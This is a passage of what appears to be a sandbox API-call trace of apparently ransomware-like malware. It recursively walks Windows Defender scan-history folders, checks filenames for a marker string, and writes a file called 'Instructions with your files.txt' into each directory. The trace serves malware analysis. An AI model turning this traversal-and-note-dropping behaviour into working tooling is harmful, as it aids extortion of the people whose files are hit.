[0131.921] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Instructions with your files.txt") returned 96
[0131.921] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.921] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1
[0131.921] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 71
[0131.921] GetProcessHeap () returned 0x810000
[0131.921] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.921] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*") returned 73
[0131.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.921] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\.") returned 73
[0131.921] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.922] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\..") returned 74
[0131.922] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3613aa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.922] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Instructions with your files.txt") returned 104
[0131.922] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.922] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1
[0131.922] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned 80
[0131.922] GetProcessHeap () returned 0x810000
[0131.922] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0131.926] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*") returned 82
[0131.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.926] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\.") returned 82
[0131.926] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.926] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\..") returned 83
[0131.926] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3613aa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.927] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\Instructions with your files.txt") returned 113
[0131.927] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.927] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 1
[0131.927] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 119
[0131.927] StrStrIW (lpFirst="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpSrch="SDfghjkl") returned 0x0
[0131.927] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 0
[0131.927] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\Instructions with your files.txt") returned 113
[0131.927] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.927] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.928] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.928] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.928] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.928] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.928] CloseHandle (hObject=0x120) returned 1
[0131.928] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.928] GetProcessHeap () returned 0x810000
[0131.928] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0131.928] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xb3613aa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3613aa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0
[0131.928] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Instructions with your files.txt") returned 104
[0131.928] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.929] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.929] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.929] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.930] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.930] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.930] CloseHandle (hObject=0x11c) returned 1
[0131.930] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.930] GetProcessHeap () returned 0x810000
[0131.930] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.932] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb389b200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb389b200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1
[0131.932] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 71
[0131.932] GetProcessHeap () returned 0x810000
[0131.932] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.932] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*") returned 73
[0131.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb389b200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb389b200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.932] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\.") returned 73
[0131.932] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb389b200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb389b200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.933] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\..") returned 74
[0131.933] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7de6c9b0, ftLastWriteTime.dwHighDateTime=0x1d3373d, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.Log", cAlternateFileName="")) returned 1
[0131.933] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 83
[0131.933] StrStrIW (lpFirst="History.Log", lpSrch="SDfghjkl") returned 0x0
[0131.933] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb389b200, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb389b200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3ad66a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.933] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Instructions with your files.txt") returned 104
[0131.933] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.933] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d35ace0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 1
[0131.933] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned 83
[0131.933] StrStrIW (lpFirst="Unknown.Log", lpSrch="SDfghjkl") returned 0x0
[0131.933] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d35ace0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 0
[0131.933] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Instructions with your files.txt") returned 104
[0131.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.936] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.937] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.937] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.937] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.938] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.938] CloseHandle (hObject=0x11c) returned 1
[0131.938] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.938] GetProcessHeap () returned 0x810000
[0131.938] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.938] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3b94d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1
[0131.938] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned 69
[0131.938] GetProcessHeap () returned 0x810000
[0131.938] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.938] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*") returned 71
[0131.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3b94d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.938] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\.") returned 71
[0131.938] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3b94d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.938] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\..") returned 72
[0131.938] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3b94d80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3bbaee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.938] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\Instructions with your files.txt") returned 102
[0131.938] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.938] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3b94d80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3b94d80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3bbaee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.938] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\Instructions with your files.txt") returned 102
